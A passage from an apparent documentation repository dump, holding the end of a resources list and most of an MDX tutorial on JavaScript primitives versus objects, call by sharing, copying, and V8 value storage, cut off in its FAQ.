icon=\"graduation-cap\" href=\"https://www.udemy.com/course/understand-javascript/\">\n    The complete 12-hour course covering types, operators, objects, and engine internals. Anthony's explanations of scope, closures, and prototypes are particularly helpful for intermediate developers.\n  </Card>\n  <Card title=\"Introduction to Primitives — Piccalilli\" icon=\"graduation-cap\" href=\"https://piccalil.li/javascript-for-everyone/lessons/9\">\n    Part of the \"JavaScript for Everyone\" course by Mat Marquis. This module covers all 7 primitive types with dedicated lessons for Numbers, Strings, Booleans, null/undefined, BigInt, and Symbol. Beautifully written with a fun narrative style.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Reference vs Primitive Types — Academind\" icon=\"video\" href=\"https://www.youtube.com/watch?v=9ooYYRLdg_g\">\n    Academind's Max shows what happens in memory when you copy primitives vs objects. The side-by-side code examples make the difference immediately obvious.\n  </Card>\n  <Card title=\"Value Types and Reference Types — Programming with Mosh\" icon=\"video\" href=\"https://www.youtube.com/watch?v=e-_mDyqm2oU\">\n    Mosh Hamedani's clear teaching style makes this complex topic easy to understand. Includes practical examples showing memory behavior.\n  </Card>\n  <Card title=\"Everything You Never Wanted to Know About JavaScript Numbers — JSConf\" icon=\"video\" href=\"https://www.youtube.com/watch?v=MqHDDtVYJRI\">\n    JSConf talk by Bartek Szopka diving deep into the quirks of JavaScript numbers. Covers IEEE 754, precision issues, and edge cases.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/primitives-objects.mdx",
    "content": "---\ntitle: \"Primitives vs Objects: How JavaScript Values Actually Work\"\nsidebarTitle: \"Primitives vs Objects: How Values Work\"\ndescription: \"Learn how JavaScript primitives and objects differ in behavior. Understand immutability, call-by-sharing semantics, why mutation works but reassignment doesn't, and how V8 actually stores values.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"JavaScript Fundamentals\"\n\"article:tag\": \"javascript primitives vs objects, pass by value reference, javascript immutability, call by sharing, value types reference types\"\n---\n\nHave you ever wondered why changing one variable unexpectedly changes another? Why does this happen?\n\n```javascript\nconst original = { name: \"Alice\" };\nconst copy = original;\ncopy.name = \"Bob\";\n\nconsole.log(original.name);  // \"Bob\" — Wait, what?!\n```\n\nThe answer lies in how JavaScript **values behave** — not where they're stored. **Primitives** are immutable and behave independently, while **objects** are mutable and can be shared between variables.\n\n<Warning>\n**Myth vs Reality:** You may have heard that \"primitives are stored on the stack\" and \"objects are stored on the heap,\" or that \"primitives are passed by value\" while \"objects are passed by reference.\" These are simplifications that are technically incorrect. In this guide, we'll learn how JavaScript actually works.\n</Warning>\n\n<Info>\n**What you'll learn in this guide:**\n- The real difference between primitives and objects (it's about mutability, not storage)\n- Why JavaScript uses \"call by sharing\" — not \"pass by value\" or \"pass by reference\"\n- Why mutation works through function parameters but reassignment doesn't\n- Why `{} === {}` returns `false` (object identity)\n- How to properly clone objects (shallow vs deep copy)\n- Common bugs caused by shared references\n- **Bonus:** How V8 actually stores values in memory (the technical truth)\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [Primitive Types](/concepts/primitive-types). If you're not familiar with the 7 primitive types in JavaScript, read that guide first!\n</Warning>\n\n---\n\n## A Note on Terminology\n\nBefore we dive in, let's clear up some widespread misconceptions that even experienced developers get wrong.\n\n<Info>\n**Myth vs Reality**\n\n| Common Myth | The Reality |\n|-------------|-------------|\n| \"Value types\" vs \"reference types\" | ECMAScript only defines **primitives** and **objects** |\n| \"Primitives are stored on the stack\" | Implementation-specific — not in the spec |\n| \"Objects are stored on the heap\" | Implementation-specific — not in the spec |\n| \"Primitives are passed by value\" | JavaScript uses **call by sharing** for ALL values |\n| \"Objects are passed by reference\" | Objects are passed by sharing (you can't reassign the original) |\n</Info>\n\n### What ECMAScript Actually Says\n\nThe [ECMAScript specification](https://tc39.es/ecma262/#sec-ecmascript-data-types-and-values) (the official JavaScript standard) defines exactly two categories of values. According to the 2023 State of JS survey, confusion around value vs reference behavior remains one of the most common pain points for developers learning JavaScript:\n\n| ECMAScript Term | What It Includes |\n|-----------------|------------------|\n| **Primitive values** | string, number, bigint, boolean, undefined, null, symbol |\n| **Objects** | Everything else (plain objects, arrays, functions, dates, maps, sets, etc.) |\n\nThat's it. The spec never mentions \"value types,\" \"reference types,\" \"stack,\" or \"heap.\" These are implementation details that vary by JavaScript engine.\n\n### The Real Distinction: Mutability\n\nThe fundamental difference between primitives and objects is **mutability**:\n\n- **Primitives are immutable** — you cannot change a primitive value, only replace it\n- **Objects are mutable** — you CAN change an object's contents\n\nThis distinction explains ALL the behavioral differences you'll encounter.\n\n---\n\n## How Primitives and Objects Behave\n\n### Primitives: Immutable and Independent\n\nThe 7 primitive types behave as if each variable has its own independent copy:\n\n| Type | Example | Key Behavior |\n|------|---------|--------------|\n| `string` | `\"hello\"` | Immutable — methods return NEW strings |\n| `number` | `42` | Immutable — arithmetic creates NEW numbers |\n| `bigint` | `9007199254740993n` | Immutable — operations create NEW BigInts |\n| `boolean` | `true` | Immutable |\n| `undefined` | `undefined` | Immutable |\n| `null` | `null` | Immutable |\n| [`symbol`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) | `Symbol(\"id\")` | Immutable AND has identity |\n\n**Key characteristics:**\n- **Immutable** — you can't change them, only replace them\n- **Behave independently** — copies don't affect each other\n- **Compared by value** — same value = equal (except Symbols)\n\n<Tip>\n**Why immutability matters:** When you write `str.toUpperCase()`, you get a NEW string. The original `str` is unchanged. This is true for ALL string methods — they never mutate the original string.\n</Tip>\n\n```javascript\nlet greeting = \"hello\";\nlet shout = greeting.toUpperCase();\n\nconsole.log(greeting);  // \"hello\" — unchanged!\nconsole.log(shout);     // \"HELLO\" — new string\n```\n\n### Objects: Mutable and Shared\n\nEverything that's not a primitive is an object:\n\n| Type | Example | Key Behavior |\n|------|---------|--------------|\n| Object | `{ name: \"Alice\" }` | Mutable — properties can change |\n| Array | `[1, 2, 3]` | Mutable — elements can change |\n| Function | `function() {}` | Mutable (has properties) |\n| [Date](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date) | `new Date()` | Mutable |\n| [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) | `new Map()` | Mutable |\n| [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) | `new Set()` | Mutable |\n\n**Key characteristics:**\n- **Mutable** — you CAN change their contents\n- **Shared by default** — assignment copies the reference, not the object\n- **Compared by identity** — same object = equal (not same contents!)\n\n---\n\n## The House Key Analogy\n\nThink of objects like houses and variables like keys to those houses:\n\n**Primitives (like writing a note):** You write \"42\" on a sticky note and give a copy to your friend. You each have independent notes. If they change theirs to \"100\", your note still says \"42\".\n\n**Objects (like sharing house keys):** Instead of giving your friend the house itself, you give them a copy of your house key. You both have keys to the SAME house. If they rearrange the furniture, you'll see it too — because it's the same house!\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                 PRIMITIVES vs OBJECTS: THE KEY ANALOGY                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  PRIMITIVES (Independent Notes)        OBJECTS (Keys to Same House)      │\n│                                                                          │\n│  ┌─────────────┐                       ┌─────────────┐                   │\n│  │  a = \"42\"   │                       │  x = 🔑 ─────────────┐          │\n│  └─────────────┘                       └─────────────┘        │          │\n│                                                               ▼          │\n│  ┌─────────────┐                       ┌─────────────┐    ┌──────────┐   │\n│  │  b = \"42\"   │  (separate copy)      │  y = 🔑 ─────────►│  🏠     │   │\n│  └─────────────┘                       └─────────────┘    │ {name}   │   │\n│                                                           └──────────┘   │\n│  Change b to \"100\"?                    Change the house via y?           │\n│  a stays \"42\"!                         x sees the change too!            │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThe key insight: **it's not about where the key is stored, it's about what it points to.**\n\n---\n\n## Call by Sharing: How JavaScript Passes Arguments\n\nHere's where most tutorials get it wrong. JavaScript doesn't use \"pass by value\" OR \"pass by reference.\" It uses a third strategy called **[call by sharing](https://en.wikipedia.org/wiki/Evaluation_strategy#Call_by_sharing)** (also known as \"call by object sharing\").\n\n<Info>\n**Call by sharing** was first described by Barbara Liskov for the CLU programming language in 1974. JavaScript, Python, Ruby, and Java all use this evaluation strategy.\n</Info>\n\n### What is Call by Sharing?\n\nWhen you pass an argument to a function, JavaScript:\n1. Creates a **copy of the reference** (the \"key\" to the object)\n2. The function parameter gets this copied reference\n3. Both the original variable AND the parameter point to the SAME object\n\n### The Golden Rule\n\n| Operation | Does it affect the original? |\n|-----------|------------------------------|\n| **Mutating properties** (`obj.name = \"Bob\"`) | ✅ Yes — same object |\n| **Reassigning the parameter** (`obj = newValue`) | ❌ No — only rebinds locally |\n\n### Mutation Works\n\nWhen you modify an object through a function parameter, the original object is affected:\n\n```javascript\nfunction rename(person) {\n  person.name = \"Bob\";  // Mutates the ORIGINAL object\n}\n\nconst user = { name: \"Alice\" };\nrename(user);\n\nconsole.log(user.name);  // \"Bob\" — changed!\n```\n\n**What happens in memory:**\n\n```\nBEFORE rename(user):              INSIDE rename(user):\n\n┌────────────┐                    ┌────────────┐\n│user = 🔑 ──┼──► { name:         │user = 🔑 ──┼──► { name: \"Bob\" }\n└────────────┘    \"Alice\" }       ├────────────┤       ▲\n                                  │person= 🔑 ─┼───────┘\n                                  └────────────┘  (same house!)\n```\n\n### Reassignment Doesn't Work\n\nIf you reassign the parameter to a new object, it only changes the local variable:\n\n```javascript\nfunction replace(person) {\n  person = { name: \"Charlie\" };  // Creates NEW local reference\n}\n\nconst user = { name: \"Alice\" };\nreplace(user);\n\nconsole.log(user.name);  // \"Alice\" — unchanged!\n```\n\n**What happens in memory:**\n\n```\nINSIDE replace(user):\n\n┌────────────┐    ┌─────────────────┐\n│user = 🔑 ──┼───►│ { name: \"Alice\" }│  ← Original, unchanged\n├────────────┤    └─────────────────┘\n│person= 🔑 ─┼───►┌───────────────────┐\n└────────────┘    │ { name: \"Charlie\" }│  ← New object, local only\n                  └───────────────────┘\n```\n\n<Warning>\n**Why this matters:** If JavaScript used true \"pass by reference\" (like C++ references), reassigning the parameter WOULD change the original. It doesn't in JavaScript — that's how you know it's \"call by sharing,\" not \"pass by reference.\"\n</Warning>\n\n### This Applies to Primitives Too!\n\nHere's the mind-bending part: **primitives are also passed by sharing**. You just can't observe it because primitives are immutable — there's no way to mutate them through the parameter.\n\n```javascript\nfunction double(num) {\n  num = num * 2;    // Reassigns the LOCAL variable\n  return num;\n}\n\nlet x = 10;\nlet result = double(x);\n\nconsole.log(x);       // 10 — unchanged (reassignment doesn't affect original)\nconsole.log(result);  // 20 — returned value\n```\n\nThe same \"reassignment doesn't work\" rule applies to primitives. It's just that with primitives, there's no mutation to try anyway!\n\n---\n\n## Copying Behavior: The Critical Difference\n\nThis is where bugs love to hide.\n\n### Copying Primitives: Independent Copies\n\nWhen you copy a primitive, they behave as completely independent values:\n\n```javascript\nlet a = 10;\nlet b = a;      // b gets an independent copy\n\nb = 20;         // changing b has NO effect on a\n\nconsole.log(a); // 10 (unchanged!)\nconsole.log(b); // 20\n```\n\n### Copying Objects: Shared References\n\nWhen you copy an object variable, you copy the *reference*. Both variables now point to the SAME object:\n\n```javascript\nlet obj1 = { name: \"Alice\" };\nlet obj2 = obj1;       // obj2 gets a copy of the REFERENCE\n\nobj2.name = \"Bob\";     // modifies the SAME object!\n\nconsole.log(obj1.name); // \"Bob\" (changed!)\nconsole.log(obj2.name); // \"Bob\"\n```\n\n### The Array Gotcha\n\nArrays are objects too, so they behave the same way:\n\n```javascript\nlet arr1 = [1, 2, 3];\nlet arr2 = arr1;        // arr2 points to the SAME array\n\narr2.push(4);           // modifies the shared array\n\nconsole.log(arr1);      // [1, 2, 3, 4] — Wait, what?!\nconsole.log(arr2);      // [1, 2, 3, 4]\n```\n\n<Warning>\n**This trips up EVERYONE at first!** When you write `let arr2 = arr1`, you're NOT creating a new array. You're creating a second variable that points to the same array. Any changes through either variable affect both.\n</Warning>\n\n---\n\n## Comparison Behavior\n\n### Primitives: Compared by Value\n\nTwo primitives are equal if they have the same value:\n\n```javascript\nlet a = \"hello\";\nlet b = \"hello\";\nconsole.log(a === b);   // true — same value\n\nlet x = 42;\nlet y = 42;\nconsole.log(x === y);   // true — same value\n```\n\n### Objects: Compared by Identity\n\nTwo objects are equal only if they are the SAME object (same reference):\n\n```javascript\nlet obj1 = { name: \"Alice\" };\nlet obj2 = { name: \"Alice\" };\nconsole.log(obj1 === obj2);  // false — different objects!\n\nlet obj3 = obj1;\nconsole.log(obj1 === obj3);  // true — same reference\n```\n\n### The Empty Object/Array Trap\n\n```javascript\nconsole.log({} === {});     // false — two different empty objects\nconsole.log([] === []);     // false — two different empty arrays\nconsole.log([1,2] === [1,2]); // false — two different arrays\n```\n\n<Tip>\n**How to compare objects/arrays by content:**\n\n```javascript\n// Simple (but limited) approach\nJSON.stringify(obj1) === JSON.stringify(obj2)\n\n// For arrays of primitives\narr1.length === arr2.length && arr1.every((v, i) => v === arr2[i])\n\n// For complex cases, use a library like Lodash\n_.isEqual(obj1, obj2)\n```\n\n**Caution with JSON.stringify:** Property order matters! `{a:1, b:2}` and `{b:2, a:1}` produce different strings. It also fails with `undefined`, functions, Symbols, circular references, `NaN`, and `Infinity`.\n</Tip>\n\n### Symbols: The Exception\n\n[Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) are primitives but have **identity** — two symbols with the same description are NOT equal:\n\n```javascript\nconst sym1 = Symbol(\"id\");\nconst sym2 = Symbol(\"id\");\n\nconsole.log(sym1 === sym2);  // false — different symbols!\nconsole.log(sym1 === sym1);  // true — same symbol\n```\n\n---\n\n## Mutation vs Reassignment\n\nUnderstanding this distinction is crucial for avoiding bugs.\n\n### Mutation: Changing the Contents\n\nMutation modifies the existing object in place:\n\n```javascript\nconst arr = [1, 2, 3];\n\n// These are all MUTATIONS:\narr.push(4);         // [1, 2, 3, 4]\narr[0] = 99;         // [99, 2, 3, 4]\narr.pop();           // [99, 2, 3]\narr.sort();          // modifies in place\n\nconst obj = { name: \"Alice\" };\n\n// These are all MUTATIONS:\nobj.name = \"Bob\";        // changes property\nobj.age = 25;            // adds property\ndelete obj.age;          // removes property\n```\n\n### Reassignment: Pointing to a New Value\n\nReassignment makes the variable point to something else entirely:\n\n```javascript\nlet arr = [1, 2, 3];\narr = [4, 5, 6];      // REASSIGNMENT — new array\n\nlet obj = { name: \"Alice\" };\nobj = { name: \"Bob\" }; // REASSIGNMENT — new object\n```\n\n### The `const` Trap\n\n`const` prevents **reassignment** but NOT **mutation**:\n\n```javascript\nconst arr = [1, 2, 3];\n\n// ✅ Mutations are ALLOWED:\narr.push(4);           // works!\narr[0] = 99;           // works!\n\n// ❌ Reassignment is BLOCKED:\narr = [4, 5, 6];       // TypeError: Assignment to constant variable\n\nconst obj = { name: \"Alice\" };\n\n// ✅ Mutations are ALLOWED:\nobj.name = \"Bob\";      // works!\nobj.age = 25;          // works!\n\n// ❌ Reassignment is BLOCKED:\nobj = { name: \"Eve\" }; // TypeError: Assignment to constant variable\n```\n\n<Warning>\n**Common misconception:** Many developers think `const` creates an \"immutable\" variable. It doesn't! It only prevents reassignment. The contents of objects and arrays declared with `const` can still be changed.\n</Warning>\n\n---\n\n## True Immutability with [`Object.freeze()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)\n\nIf you need a truly immutable object, use `Object.freeze()`:\n\n```javascript\nconst user = Object.freeze({ name: \"Alice\", age: 25 });\n\nuser.name = \"Bob\";      // Silently fails (or throws in strict mode)\nuser.email = \"a@b.com\"; // Can't add properties\ndelete user.age;        // Can't delete properties\n\nconsole.log(user);      // { name: \"Alice\", age: 25 } — unchanged!\n```\n\n<Warning>\n**Object.freeze() is shallow!** It only freezes the top level. Nested objects can still be modified:\n\n```javascript\nconst user = Object.freeze({\n  name: \"Alice\",\n  address: { city: \"NYC\" }\n});\n\nuser.name = \"Bob\";           // Blocked\nuser.address.city = \"LA\";    // Works! Nested object not frozen\n\nconsole.log(user.address.city); // \"LA\"\n```\n</Warning>\n\nFor deep freezing, you need a recursive function or use `structuredClone()` to create a deep copy first.\n\n---\n\n## Shallow Copy vs Deep Copy\n\nWhen you need a truly independent copy of an object, you have two options.\n\n### Shallow Copy: One Level Deep\n\nA shallow copy creates a new object with copies of the top-level properties. But nested objects are still shared!\n\n```javascript\nconst original = { \n  name: \"Alice\",\n  address: { city: \"NYC\" }\n};\n\n// Shallow copy methods:\nconst copy1 = { ...original };           // Spread operator\nconst copy2 = Object.assign({}, original); // Object.assign\n\n// Top-level changes are independent:\ncopy1.name = \"Bob\";\nconsole.log(original.name);  // \"Alice\" ✅\n\n// But nested objects are SHARED:\ncopy1.address.city = \"LA\";\nconsole.log(original.address.city);  // \"LA\" 😱\n```\n\n### Deep Copy: All Levels\n\nA deep copy creates completely independent copies at every level.\n\n```javascript\nconst original = { \n  name: \"Alice\",\n  scores: [95, 87, 92],\n  address: { city: \"NYC\" }\n};\n\n// structuredClone() — the modern way (ES2022+)\nconst deep = structuredClone(original);\n\n// Now everything is independent:\ndeep.address.city = \"LA\";\nconsole.log(original.address.city);  // \"NYC\" ✅\n\ndeep.scores.push(100);\nconsole.log(original.scores);  // [95, 87, 92] ✅\n```\n\n<Tip>\n**Which to use:**\n- **[`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/structuredClone)** — As documented by MDN, this API is available in all major browsers since 2022 and is the recommended approach for most cases\n- **`JSON.parse(JSON.stringify())`** — Only for simple objects (loses functions, Dates, undefined)\n- **Lodash `_.cloneDeep()`** — When you need maximum compatibility\n</Tip>\n\n---\n\n## How Engines Actually Store Values\n\n<Info>\n**Why this section exists:** Many tutorials teach that \"primitives go on the stack, objects go on the heap.\" This is a simplification that's often wrong. Here's what actually happens.\n</Info>\n\n### The ECMAScript Specification Doesn't Define Storage\n\nThe ECMAScript specification defines **behavior**, not **implementation**. It never mentions \"stack\" or \"heap.\" Different JavaScript engines can store values however they want, as long as the behavior matches the spec.\n\n### How V8 Actually Works\n\nV8 (Chrome, Node.js, Deno) uses a technique called **pointer tagging** to efficiently represent values. According to the V8 team's blog, this optimization is critical for JavaScript performance — it allows the engine to distinguish small integers from heap pointers without additional memory lookups.\n\n#### Smis (Small Integers): The Only \"Direct\" Values\n\nThe ONLY values V8 stores \"directly\" (not on the heap) are **Smis** — Small Integers in the range approximately -2³¹ to 2³¹-1 (about -2 billion to 2 billion).\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                      V8 POINTER TAGGING                                  │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  Smi (Small Integer):                                                    │\n│  ┌────────────────────────────────────────────────────────────┬─────┐   │\n│  │                    Integer Value (31 bits)                  │  0  │   │\n│  └────────────────────────────────────────────────────────────┴─────┘   │\n│                                                              Tag bit     │\n│                                                                          │\n│  Heap Pointer (everything else):                                         │\n│  ┌────────────────────────────────────────────────────────────┬─────┐   │\n│  │                    Memory Address                           │  1  │   │\n│  └────────────────────────────────────────────────────────────┴─────┘   │\n│                                                              Tag bit     │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n#### Everything Else Lives on the Heap\n\nThis includes values you might think are \"simple\":\n\n| Value Type | Where It's Stored | Why |\n|------------|-------------------|-----|\n| Small integers (-2³¹ to 2³¹-1) | Directly (as Smi) | Fixed size, fits in pointer |\n| Large numbers | Heap (HeapNumber) | Needs 64-bit float |\n| **Strings** | **Heap** | **Dynamically sized** |\n| **BigInts** | **Heap** | **Arbitrary precision** |\n| Objects, Arrays | Heap | Complex structures |\n\n<Warning>\n**The big misconception:** Strings are NOT fixed-size values stored on the stack. A string like `\"hello\"` and a string with a million characters are both stored on the heap. The variable just holds a pointer to that heap location.\n</Warning>\n\n### String Interning\n\nV8 optimizes identical strings by potentially sharing memory (string interning). Two variables with the value `\"hello\"` might point to the same memory location internally. But this is an optimization — strings still *behave* as independent values because they're immutable.\n\n### Why the Stack/Heap Model is Taught\n\nThe simplified stack/heap model is useful for understanding **behavioral differences**:\n- Things that \"behave like stack values\" = act independently\n- Things that \"behave like heap values\" = can be shared\n\nJust know it's a **mental model for behavior**, not how JavaScript actually works internally.\n\n<Tip>\n**Want to go deeper?** Check out our [JavaScript Engines](/concepts/javascript-engines) guide for more on V8 internals, JIT compilation, and optimization.\n</Tip>\n\n---\n\n## Common Bugs and Pitfalls\n\n<AccordionGroup>\n  <Accordion title=\"1. Accidental Object/Array Mutation\">\n    ```javascript\n    // BUG: Modifying function parameter\n    function processUsers(users) {\n      users.push({ name: \"New User\" });  // Mutates original!\n      return users;\n    }\n    \n    const myUsers = [{ name: \"Alice\" }];\n    processUsers(myUsers);\n    console.log(myUsers);  // [{ name: \"Alice\" }, { name: \"New User\" }]\n    \n    // FIX: Create a copy first\n    function processUsers(users) {\n      const copy = [...users];\n      copy.push({ name: \"New User\" });\n      return copy;\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"2. Array Methods That Mutate\">\n    ```javascript\n    // These MUTATE the original array:\n    arr.push()      arr.pop()\n    arr.shift()     arr.unshift()\n    arr.splice()    arr.sort()\n    arr.reverse()   arr.fill()\n    \n    // These RETURN a new array (safe):\n    arr.map()       arr.filter()\n    arr.slice()     arr.concat()\n    arr.flat()      arr.flatMap()\n    arr.toSorted()  arr.toReversed()  // ES2023\n    arr.toSpliced() // ES2023\n    \n    // GOTCHA: sort() mutates!\n    const nums = [3, 1, 2];\n    const sorted = nums.sort();  // nums is NOW [1, 2, 3]!\n    \n    // FIX: Copy first, or use toSorted()\n    const sorted = [...nums].sort();\n    const sorted = nums.toSorted();  // ES2023\n    ```\n  </Accordion>\n  \n  <Accordion title=\"3. Comparing Objects/Arrays\">\n    ```javascript\n    // BUG: This will NEVER work\n    if (user1 === user2) { }      // Compares identity\n    if (arr1 === arr2) { }        // Compares identity\n    \n    // Even these fail:\n    [] === []                      // false\n    {} === {}                      // false\n    [1, 2] === [1, 2]              // false\n    \n    // FIX: Compare contents\n    JSON.stringify(a) === JSON.stringify(b)  // Simple but limited\n    \n    // Or use a deep equality function/library\n    ```\n  </Accordion>\n  \n  <Accordion title=\"4. Shallow Copy with Nested Objects\">\n    ```javascript\n    // BUG: Shallow copy doesn't clone nested objects\n    const user = {\n      name: \"Alice\",\n      settings: { theme: \"dark\" }\n    };\n    \n    const copy = { ...user };\n    copy.settings.theme = \"light\";\n    \n    console.log(user.settings.theme);  // \"light\" — Original changed!\n    \n    // FIX: Use deep copy\n    const copy = structuredClone(user);\n    ```\n  </Accordion>\n  \n  <Accordion title=\"5. Forgetting Arrays Are Objects\">\n    ```javascript\n    // BUG: Thinking you have two arrays\n    const original = [1, 2, 3];\n    const backup = original;  // NOT a backup!\n    \n    original.push(4);\n    console.log(backup);  // [1, 2, 3, 4] — \"backup\" changed!\n    \n    // FIX: Actually copy the array\n    const backup = [...original];\n    const backup = original.slice();\n    ```\n  </Accordion>\n  \n  <Accordion title=\"6. Expecting Reassignment to Affect Original\">\n    ```javascript\n    // BUG: Thinking reassignment passes through\n    function clearArray(arr) {\n      arr = [];  // Only reassigns local variable!\n    }\n    \n    const myArr = [1, 2, 3];\n    clearArray(myArr);\n    console.log(myArr);  // [1, 2, 3] — unchanged!\n    \n    // FIX: Mutate instead of reassign\n    function clearArray(arr) {\n      arr.length = 0;  // Mutates the original\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Best Practices\n\n<Tip>\n**Guidelines for working with objects:**\n\n1. **Treat objects as immutable when possible**\n   ```javascript\n   // Instead of mutating:\n   user.name = \"Bob\";\n   \n   // Create a new object:\n   const updatedUser = { ...user, name: \"Bob\" };\n   ```\n\n2. **Use `const` by default** — prevents accidental reassignment\n\n3. **Know which methods mutate**\n   - Mutating: `push`, `pop`, `sort`, `reverse`, `splice`\n   - Non-mutating: `map`, `filter`, `slice`, `concat`, `toSorted`\n\n4. **Use `structuredClone()` for deep copies**\n   ```javascript\n   const clone = structuredClone(original);\n   ```\n\n5. **Clone function parameters if you need to modify them**\n   ```javascript\n   function processData(data) {\n     const copy = structuredClone(data);\n     // Now safe to modify copy\n   }\n   ```\n\n6. **Be explicit about intent** — comment when mutating on purpose\n</Tip>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Primitives vs Objects** — the ECMAScript terms (not \"value types\" vs \"reference types\")\n\n2. **The real difference is mutability** — primitives are immutable, objects are mutable\n\n3. **Call by sharing** — JavaScript passes ALL values as copies of references; mutation works, reassignment doesn't\n\n4. **Object identity** — objects are compared by identity, not content (`{} === {}` is false)\n\n5. **`const` prevents reassignment, not mutation** — use `Object.freeze()` for true immutability\n\n6. **Shallow copy shares nested objects** — use `structuredClone()` for deep copies\n\n7. **Know your array methods** — `push/pop/sort` mutate; `map/filter/slice` don't\n\n8. **The stack/heap model is a simplification** — useful for understanding behavior, not technically accurate\n\n9. **In V8, only Smis are stored directly** — strings, BigInts, and objects all live on the heap\n\n10. **Symbols have identity** — two `Symbol(\"id\")` are different, unlike other primitives\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between primitives and objects?\">\n    **Answer:**\n    \n    - **Primitives are immutable** — you cannot change a primitive value, only replace it. Copies behave independently.\n    \n    - **Objects are mutable** — you CAN change an object's contents. Multiple variables can point to the same object.\n    \n    The distinction is about **mutability**, not storage location.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: What does this code output?\">\n    ```javascript\n    let a = { count: 1 };\n    let b = a;\n    b.count = 5;\n    console.log(a.count);\n    ```\n    \n    **Answer:** `5`\n    \n    Both `a` and `b` point to the same object. When you modify `b.count`, you're modifying the shared object, which `a` also sees. This is because **mutation affects the shared object**.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why does {} === {} return false?\">\n    **Answer:** Because `===` compares **identity** (same object), not contents.\n    \n    Each `{}` creates a NEW empty object in memory. Even though they have the same contents (both empty), they are different objects.\n    \n    ```javascript\n    {} === {}  // false (different objects)\n    \n    const a = {};\n    const b = a;\n    a === b    // true (same object)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: What's the difference between call by sharing and pass by reference?\">\n    **Answer:**\n    \n    - **Call by sharing:** Function receives a copy of the reference. Mutation works, but reassignment only changes the local parameter.\n    \n    - **Pass by reference (C++ style):** Parameter is an alias for the argument. Reassignment WOULD change the original.\n    \n    JavaScript uses call by sharing. That's why this doesn't work:\n    \n    ```javascript\n    function replace(obj) {\n      obj = { new: \"object\" };  // Only changes local parameter\n    }\n    \n    let x = { old: \"object\" };\n    replace(x);\n    console.log(x);  // { old: \"object\" } — unchanged!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Does const prevent object mutation?\">\n    **Answer:** No!\n    \n    `const` only prevents **reassignment** — you can't make the variable point to a different value. But you CAN still **mutate** the object's contents.\n    \n    ```javascript\n    const obj = { name: \"Alice\" };\n    \n    obj.name = \"Bob\";  // ✅ Allowed (mutation)\n    obj.age = 25;      // ✅ Allowed (mutation)\n    obj = {};          // ❌ Error (reassignment)\n    ```\n    \n    Use `Object.freeze()` for true immutability.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Are strings really stored on the stack?\">\n    **Answer:** No! This is a common myth.\n    \n    In V8, **only Smis (small integers)** are stored directly. Strings are dynamically-sized and stored on the heap. The variable holds a pointer to the string's location in heap memory.\n    \n    The \"stack vs heap\" model is a **mental model for behavior**, not how JavaScript actually works.\n  </Accordion>\n  \n  <Accordion title=\"Question 7: What's the difference between shallow and deep copy?\">\n    **Answer:**\n    \n    - **Shallow copy** creates a new object but shares nested objects\n    - **Deep copy** creates independent copies at ALL levels\n    \n    ```javascript\n    const original = { nested: { value: 1 } };\n    \n    // Shallow: nested is shared\n    const shallow = { ...original };\n    shallow.nested.value = 2;\n    console.log(original.nested.value); // 2 (affected!)\n    \n    // Deep: completely independent\n    const deep = structuredClone(original);\n    deep.nested.value = 3;\n    console.log(original.nested.value); // 2 (unchanged)\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between primitives and objects in JavaScript?\">\n    Primitives (string, number, bigint, boolean, undefined, null, symbol) are immutable — you cannot change a primitive value, only replace it. Objects (including arrays, functions, and dates) are mutable — you can change their contents. According to the ECMAScript specification, this mutability distinction is the fundamental behavioral difference between the two categories.\n  </Accordion>\n\n  <Accordion title=\"Is JavaScript pass by value or pass by reference?\">\n    Neither. JavaScript uses \"call by sharing,\" a strategy first described by Barbara Liskov in 1974. All values — both primitives and objects — are passed as copies of references. This means mutation of an object parameter affects the original, but reassigning the parameter does not. This is why `obj.name = \"Bob\"` works inside a function but `obj = newObj` does not change the caller's variable.\n  </Accordion>\n\n  <Accordion title=\"Why does changing a copied object affect the original in JavaScript?\">\n    When you write `let copy = original`, you copy the reference (the \"key to the house\"), not the object itself. Both variables point to the same object in memory. As documented in MDN, use `structuredClone()` for a deep copy or the spread operator (`{...obj}`) for a shallow copy to create independent duplicates.\n  </Accordion>\n\n  <Accordion title=\"How do you create a deep copy of an object in JavaScript?\">\n    Use `structuredClone(original)`, which was standardized in 2022 and is available in all modern browsers and Node.js 17+. For older environments, `JSON.parse(JSON.stringify(obj))` works for simple objects but loses functions, Dates, undefined, and circular references. Libraries like Lodash offer `_.cloneDeep()` for maximum compatibility.\n  </Accordion>\n\n  <Accordion title=\"Why does {} === {} return false in JavaScript?\">\n    Objects are compared by identity (reference), not by content. 